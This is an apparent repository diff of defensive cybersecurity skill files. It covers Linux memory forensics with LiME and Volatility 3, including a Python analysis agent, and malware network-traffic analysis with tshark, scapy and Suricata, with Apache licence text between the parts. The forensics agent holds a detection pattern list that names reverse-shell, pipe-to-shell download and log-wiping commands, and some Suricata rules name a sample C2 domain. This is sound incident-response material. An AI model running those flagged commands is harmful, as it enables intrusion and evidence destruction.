f"mimicking {misspellings[p['name'].lower()]}",
})
return findings
if __name__ == "__main__":
print("=" * 60)
print("Memory Forensics Agent (Volatility 3)")
print("Process analysis, injection detection, credential extraction")
print("=" * 60)
dump_file = sys.argv[1] if len(sys.argv) > 1 else None
if dump_file and os.path.exists(dump_file):
print(f"\n[*] Analyzing memory dump: {dump_file}")
print(f"[*] Size: {os.path.getsize(dump_file) / (1024**3):.1f} GB")
print("\n--- OS Identification ---")
os_info = get_os_info(dump_file)
print(f" OS: {os_info['os']}")
print("\n--- Process Analysis ---")
procs = list_processes(dump_file)
print(f" Active processes: {len(procs)}")
suspicious = check_suspicious_processes(procs)
for s in suspicious:
print(f" [{s['severity']}] {s['finding']}")
print("\n--- Hidden Process Detection ---")
psscan = scan_hidden_processes(dump_file)
hidden = find_hidden_processes(procs, psscan)
if hidden:
for h in hidden:
print(f" [!] Hidden process: {h['name']} PID={h['pid']}")
else:
print(" No hidden processes detected")
print("\n--- Code Injection Detection ---")
injections = detect_code_injection(dump_file)
print(f" Injected regions: {len(injections)}")
for inj in injections[:5]:
print(f" [!] PID {inj['pid']} ({inj.get('process', '')}): {inj.get('protection', '')}")
print("\n--- Network Connections ---")
conns = get_network_connections(dump_file)
established = [c for c in conns if "ESTABLISHED" in c.get("state", "")]
print(f" Total: {len(conns)}, Established: {len(established)}")
for c in established[:10]:
print(f" {c.get('owner', '?')} (PID {c.get('pid', '?')}): "
f"{c['local_addr']}:{c['local_port']} -> "
f"{c['foreign_addr']}:{c['foreign_port']}")
else:
print(f"\n[DEMO] Usage: python agent.py <memory.dmp>")
print("[*] Provide a memory dump for forensic analysis.")

View File

@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

View File

@@ -0,0 +1,91 @@
---
name: analyzing-memory-forensics-with-lime-and-volatility
description: 'Performs Linux memory acquisition using LiME (Linux Memory Extractor)
kernel module and analysis with Volatility 3 framework. Extracts process lists,
network connections, bash history, loaded kernel modules, and injected code from
Linux memory images. Use when performing incident response on compromised Linux
systems.
'
domain: cybersecurity
subdomain: security-operations
tags:
- memory-forensics
- linux-forensics
- lime
- volatility
- incident-response
- kernel-modules
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- DE.CM-01
- RS.MA-01
- GV.OV-01
- DE.AE-02
mitre_attack:
- T1055
- T1003.001
- T1620
- T1564.001
---
# Analyzing Memory Forensics with LiME and Volatility
## When to Use
- When investigating security incidents that require analyzing memory forensics with lime and volatility
- When building detection rules or threat hunting queries for this domain
- When SOC analysts need structured procedures for this analysis type
- When validating security monitoring coverage for related attack techniques
## Prerequisites
- Familiarity with security operations concepts and tools
- Access to a test or lab environment for safe execution
- Python 3.8+ with required dependencies installed
- Appropriate authorization for any testing activities
## Instructions
Acquire Linux memory using LiME kernel module, then analyze with Volatility 3
to extract forensic artifacts from the memory image.
```bash
# LiME acquisition
insmod lime-$(uname -r).ko "path=/evidence/memory.lime format=lime"
# Volatility 3 analysis
vol3 -f /evidence/memory.lime linux.pslist
vol3 -f /evidence/memory.lime linux.bash
vol3 -f /evidence/memory.lime linux.sockstat
```
```python
import volatility3
from volatility3.framework import contexts, automagic
from volatility3.plugins.linux import pslist, bash, sockstat
# Programmatic Volatility 3 usage
context = contexts.Context()
automagics = automagic.available(context)
```
Key analysis steps:
1. Acquire memory with LiME (format=lime or format=raw)
2. List processes with linux.pslist, compare with linux.psscan
3. Extract bash command history with linux.bash
4. List network connections with linux.sockstat
5. Check loaded kernel modules with linux.lsmod for rootkits
## Examples
```bash
# Full forensic workflow
vol3 -f memory.lime linux.pslist | grep -v "\[kthread\]"
vol3 -f memory.lime linux.bash
vol3 -f memory.lime linux.malfind
vol3 -f memory.lime linux.lsmod
```

View File

@@ -0,0 +1,58 @@
# API Reference: Analyzing Memory Forensics with LiME and Volatility
## LiME (Linux Memory Extractor)
```bash
# Build LiME module
cd LiME/src && make
# Acquire memory (lime format - includes metadata)
insmod lime-$(uname -r).ko "path=/evidence/mem.lime format=lime"
# Acquire memory (raw format)
insmod lime-$(uname -r).ko "path=/evidence/mem.raw format=raw"
# Acquire over network
insmod lime.ko "path=tcp:4444 format=lime"
# On forensic workstation: nc target 4444 > mem.lime
```
## Volatility 3 Linux Plugins
| Plugin | Description |
|--------|-------------|
| `linux.pslist` | List processes via task_struct |
| `linux.psscan` | Brute-force scan for task_struct |
| `linux.bash` | Recovered bash command history |
| `linux.sockstat` | Network connections |
| `linux.lsmod` | Loaded kernel modules |
| `linux.malfind` | Detect injected code |
| `linux.check_afinfo` | Detect network hooking |
| `linux.tty_check` | Detect TTY hooking |
| `linux.proc.Maps` | Process memory maps |
## Volatility 3 CLI
```bash
vol3 -f memory.lime linux.pslist
vol3 -f memory.lime linux.bash
vol3 -f memory.lime linux.sockstat
vol3 -f memory.lime linux.malfind
vol3 -f memory.lime linux.lsmod
vol3 -f memory.lime linux.check_afinfo
```
## Hidden Process Detection
```bash
# Compare pslist (linked list) vs psscan (brute force)
vol3 -f mem.lime linux.pslist > pslist.txt
vol3 -f mem.lime linux.psscan > psscan.txt
diff pslist.txt psscan.txt
```
### References
- LiME: https://github.com/504ensicsLabs/LiME
- Volatility 3: https://github.com/volatilityfoundation/volatility3
- Volatility 3 docs: https://volatility3.readthedocs.io/

View File

@@ -0,0 +1,207 @@
#!/usr/bin/env python3
"""Agent for Linux memory forensics using LiME acquisition and Volatility 3."""
import json
import subprocess
import argparse
from datetime import datetime
from pathlib import Path
def acquire_memory_lime(output_path, lime_format="lime"):
"""Acquire memory using LiME kernel module."""
kernel_version = subprocess.run(
["uname", "-r"], capture_output=True, text=True, timeout=120
).stdout.strip()
lime_module = f"lime-{kernel_version}.ko"
if not Path(lime_module).exists():
lime_module = "lime.ko"
cmd = ["insmod", lime_module, f"path={output_path}", f"format={lime_format}"]
result = subprocess.run(cmd, capture_output=True, text=True, timeout=120)
return {
"status": "success" if result.returncode == 0 else "failed",
"output_path": output_path,
"format": lime_format,
"kernel": kernel_version,
"stderr": result.stderr,
}
def run_vol3_plugin(image_path, plugin_name, extra_args=None):
"""Run a Volatility 3 plugin and capture output."""
cmd = ["vol3", "-f", image_path, plugin_name]
if extra_args:
cmd.extend(extra_args)
try:
result = subprocess.run(
cmd, capture_output=True, text=True, timeout=300,
)
lines = result.stdout.strip().splitlines()
return {"plugin": plugin_name, "output": lines, "error": result.stderr.strip()}
except subprocess.TimeoutExpired:
return {"plugin": plugin_name, "output": [], "error": "Timeout"}
def parse_pslist_output(lines):
"""Parse Volatility linux.pslist output into structured data."""
processes = []
for line in lines:
parts = line.split()
if len(parts) >= 4 and parts[0].isdigit():
processes.append({
"pid": int(parts[0]),
"ppid": int(parts[1]) if parts[1].isdigit() else 0,
"name": parts[-1],
})
return processes
def list_processes(image_path):
"""List all processes from memory image."""
result = run_vol3_plugin(image_path, "linux.pslist")
return parse_pslist_output(result.get("output", []))
def extract_bash_history(image_path):
"""Extract bash command history from memory."""
result = run_vol3_plugin(image_path, "linux.bash")
commands = []
for line in result.get("output", []):
parts = line.split(None, 3)
if len(parts) >= 4 and parts[0].isdigit():
commands.append({
"pid": int(parts[0]),
"name": parts[1],
"timestamp": parts[2] if len(parts) > 2 else "",
"command": parts[3] if len(parts) > 3 else "",
})
return commands
def list_network_connections(image_path):
"""List network connections from memory."""
result = run_vol3_plugin(image_path, "linux.sockstat")
connections = []
for line in result.get("output", []):
if "TCP" in line or "UDP" in line:
connections.append(line.strip())
return connections
def list_kernel_modules(image_path):
"""List loaded kernel modules to detect rootkits."""
result = run_vol3_plugin(image_path, "linux.lsmod")
modules = []
for line in result.get("output", []):
parts = line.split()
if parts and not parts[0].startswith("Offset"):
modules.append({"name": parts[-1] if parts else line.strip()})
return modules
def detect_hidden_processes(image_path):
"""Compare pslist vs psscan to find hidden processes."""
pslist = run_vol3_plugin(image_path, "linux.pslist")
psscan = run_vol3_plugin(image_path, "linux.psscan")
pslist_pids = set()
for line in pslist.get("output", []):
parts = line.split()
if parts and parts[0].isdigit():
pslist_pids.add(int(parts[0]))
hidden = []
for line in psscan.get("output", []):
parts = line.split()
if parts and parts[0].isdigit():
pid = int(parts[0])
if pid not in pslist_pids and pid > 0:
hidden.append({"pid": pid, "line": line.strip()})
return hidden
def detect_suspicious_commands(bash_history):
"""Flag suspicious commands in bash history."""
suspicious_patterns = [
"curl.*|.*sh", "wget.*&&.*chmod", "base64.*-d",
"nc.*-e", "python.*-c.*import.*socket",
"nohup", "rm.*-rf.*/var/log", "history.*-c",
"iptables.*-F", "chmod.*777", "chattr.*-i",
]
import re
findings = []
for entry in bash_history:
cmd = entry.get("command", "")
for pattern in suspicious_patterns:
if re.search(pattern, cmd, re.IGNORECASE):
findings.append({
"pid": entry["pid"],
"command": cmd,
"pattern": pattern,
"severity": "HIGH",
})
break
return findings
def check_malfind(image_path):
"""Run malfind to detect injected code."""
result = run_vol3_plugin(image_path, "linux.malfind")
return result.get("output", [])
def main():
parser = argparse.ArgumentParser(description="LiME + Volatility 3 Forensics Agent")
parser.add_argument("--image", help="Path to memory image")
parser.add_argument("--acquire", help="Output path for LiME acquisition")
parser.add_argument("--output", default="memory_forensics_report.json")
parser.add_argument("--action", choices=[
"acquire", "pslist", "bash", "network", "modules",
"hidden", "malfind", "full_analysis"
], default="full_analysis")
args = parser.parse_args()
report = {"generated_at": datetime.utcnow().isoformat(), "findings": {}}
if args.action == "acquire" and args.acquire:
result = acquire_memory_lime(args.acquire)
report["findings"]["acquisition"] = result
print(f"[+] Memory acquisition: {result['status']}")
return
if not args.image:
print("[-] --image required for analysis actions")
return
if args.action in ("pslist", "full_analysis"):
procs = list_processes(args.image)
report["findings"]["processes"] = procs
print(f"[+] Processes: {len(procs)}")
if args.action in ("bash", "full_analysis"):
history = extract_bash_history(args.image)
report["findings"]["bash_history"] = history
suspicious = detect_suspicious_commands(history)
report["findings"]["suspicious_commands"] = suspicious
print(f"[+] Bash commands: {len(history)}, Suspicious: {len(suspicious)}")
if args.action in ("network", "full_analysis"):
conns = list_network_connections(args.image)
report["findings"]["connections"] = conns
print(f"[+] Network connections: {len(conns)}")
if args.action in ("modules", "full_analysis"):
modules = list_kernel_modules(args.image)
report["findings"]["kernel_modules"] = modules
print(f"[+] Kernel modules: {len(modules)}")
if args.action in ("hidden", "full_analysis"):
hidden = detect_hidden_processes(args.image)
report["findings"]["hidden_processes"] = hidden
print(f"[+] Hidden processes: {len(hidden)}")
with open(args.output, "w") as f:
json.dump(report, f, indent=2, default=str)
print(f"[+] Report saved to {args.output}")
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,201 @@
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.

View File

@@ -0,0 +1,340 @@
---
name: analyzing-network-traffic-of-malware
description: 'Analyzes network traffic generated by malware during sandbox execution
or live incident response to identify C2 protocols, data exfiltration channels,
payload downloads, and lateral movement patterns using Wireshark, Zeek, and Suricata.
Activates for requests involving malware network analysis, C2 traffic decoding,
malware PCAP analysis, or network-based malware detection.
'
domain: cybersecurity
subdomain: malware-analysis
tags:
- malware
- network-analysis
- PCAP
- Wireshark
- C2-detection
version: 1.0.0
author: mahipal
license: Apache-2.0
nist_csf:
- DE.AE-02
- RS.AN-03
- ID.RA-01
- DE.CM-01
mitre_attack:
- T1071.001
- T1571
- T1573
- T1095
---
# Analyzing Network Traffic of Malware
## When to Use
- Sandbox execution has captured a PCAP file and the network behavior needs detailed analysis
- Identifying the C2 protocol structure for writing network detection signatures
- Determining what data the malware exfiltrates and to which external infrastructure
- Analyzing DNS tunneling, domain generation algorithms (DGA), or fast-flux behavior
- Creating Suricata/Snort signatures based on observed malware network patterns
**Do not use** for host-based analysis of malware behavior; use Cuckoo sandbox reports or Volatility memory analysis for process-level activity.
## Prerequisites
- Wireshark 4.x installed for interactive PCAP analysis
- tshark (Wireshark CLI) for scripted packet extraction
- Zeek installed for automated metadata generation from PCAPs
- Suricata with ET Open/ET Pro rulesets for signature matching
- NetworkMiner for file extraction and credential detection from PCAPs
- Python 3.8+ with `scapy` and `dpkt` for programmatic packet analysis
## Workflow
### Step 1: Initial PCAP Overview
Get a high-level understanding of the network traffic:
```bash
# Capture statistics
capinfos malware.pcap
# Protocol hierarchy
tshark -r malware.pcap -q -z io,phs
# Endpoint statistics (top talkers)
tshark -r malware.pcap -q -z endpoints,ip
# Conversation statistics
tshark -r malware.pcap -q -z conv,tcp
# DNS query summary
tshark -r malware.pcap -q -z dns,tree
```
### Step 2: Analyze DNS Activity
Examine DNS queries for DGA, tunneling, or C2 domain resolution:
```bash
# Extract all DNS queries
tshark -r malware.pcap -T fields -e frame.time -e dns.qry.name -e dns.a \
-Y "dns.flags.response == 1" | sort
# Detect DGA patterns (high entropy domain names)
python3 << 'PYEOF'
import math
from collections import Counter
def entropy(s):
p = [n/len(s) for n in Counter(s).values()]
return -sum(pi * math.log2(pi) for pi in p if pi > 0)
# Parse DNS queries from tshark output
import subprocess
result = subprocess.run(
["tshark", "-r", "malware.pcap", "-T", "fields", "-e", "dns.qry.name",
"-Y", "dns.flags.response == 0"],
capture_output=True, text=True
)
domains = set(result.stdout.strip().split('\n'))
print("Suspicious DNS queries (high entropy):")
for domain in domains:
if domain:
subdomain = domain.split('.')[0]
ent = entropy(subdomain)
if ent > 3.5 and len(subdomain) > 10:
print(f" {domain} (entropy: {ent:.2f})")
PYEOF
# Detect DNS tunneling (large TXT responses)
tshark -r malware.pcap -T fields -e dns.qry.name -e dns.txt \
-Y "dns.resp.type == 16 and dns.resp.len > 100"
```
### Step 3: Analyze HTTP/HTTPS C2 Communication
Examine web-based command-and-control traffic:
```bash
# Extract HTTP requests
tshark -r malware.pcap -T fields \
-e frame.time -e ip.src -e ip.dst -e http.host \
-e http.request.method -e http.request.uri -e http.user_agent \
-Y "http.request"
# Extract HTTP response bodies (potential payload downloads)
tshark -r malware.pcap -T fields \
-e http.host -e http.request.uri -e http.content_type -e tcp.len \
-Y "http.response and tcp.len > 1000"
# Extract POST data (potential exfiltration)
tshark -r malware.pcap -T fields \
-e http.host -e http.request.uri -e http.file_data \
-Y "http.request.method == POST"
# TLS analysis (SNI, JA3 fingerprints)
tshark -r malware.pcap -T fields \
-e tls.handshake.extensions_server_name \
-e tls.handshake.ja3 \
-Y "tls.handshake.type == 1"
# Extract TLS certificate details
tshark -r malware.pcap -T fields \
-e x509ce.dNSName -e x509af.serialNumber \
-e x509sat.utf8String \
-Y "tls.handshake.type == 11"
# Export HTTP objects (downloaded files)
tshark -r malware.pcap --export-objects http,exported_files/
```
### Step 4: Detect Beaconing Patterns
Identify regular periodic communication indicating C2 beaconing:
```python
# Beacon detection from PCAP
from scapy.all import rdpcap, IP, TCP
from collections import defaultdict
import statistics
packets = rdpcap("malware.pcap")
# Group connections by destination IP:port
connections = defaultdict(list)
for pkt in packets:
if IP in pkt and TCP in pkt:
if pkt[TCP].flags & 0x02: # SYN flag
dst = f"{pkt[IP].dst}:{pkt[TCP].dport}"
connections[dst].append(float(pkt.time))
# Analyze timing intervals for beaconing
print("Beacon Analysis:")
for dst, times in connections.items():
if len(times) >= 5:
intervals = [times[i+1] - times[i] for i in range(len(times)-1)]
avg = statistics.mean(intervals)
stdev = statistics.stdev(intervals) if len(intervals) > 1 else 0
jitter = (stdev / avg * 100) if avg > 0 else 0
if 10 < avg < 3600 and jitter < 30: # Regular interval with < 30% jitter
print(f" [!] {dst}: {len(times)} connections")
print(f" Interval: {avg:.1f}s ± {stdev:.1f}s (jitter: {jitter:.1f}%)")
print(f" Pattern: LIKELY BEACONING")
```
### Step 5: Generate Network Detection Signatures
Create Suricata/Snort rules from observed traffic patterns:
```bash
# Run Suricata against the PCAP for existing signature matches
suricata -r malware.pcap -l suricata_output/ -c /etc/suricata/suricata.yaml
# Review alerts
cat suricata_output/fast.log
# Create custom Suricata rule from observed patterns
cat << 'EOF' > custom_malware.rules
# C2 beacon detection based on observed URI pattern
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"MALWARE MalwareX C2 Beacon";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/gate.php?id=";
http.user_agent; content:"Mozilla/5.0 (compatible; MSIE 10.0)";
sid:9000001; rev:1;
)
# DNS query for known C2 domain
alert dns $HOME_NET any -> any any (
msg:"MALWARE MalwareX C2 DNS Query";
dns.query; content:"update.malicious.com";
sid:9000002; rev:1;
)
# JA3 hash match for malware TLS client
alert tls $HOME_NET any -> $EXTERNAL_NET any (
msg:"MALWARE MalwareX JA3 Match";
ja3.hash; content:"a0e9f5d64349fb13191bc781f81f42e1";
sid:9000003; rev:1;
)
EOF
```
### Step 6: Extract Files and Artifacts from Traffic
Recover transferred files and embedded data:
```bash
# Extract files using Zeek
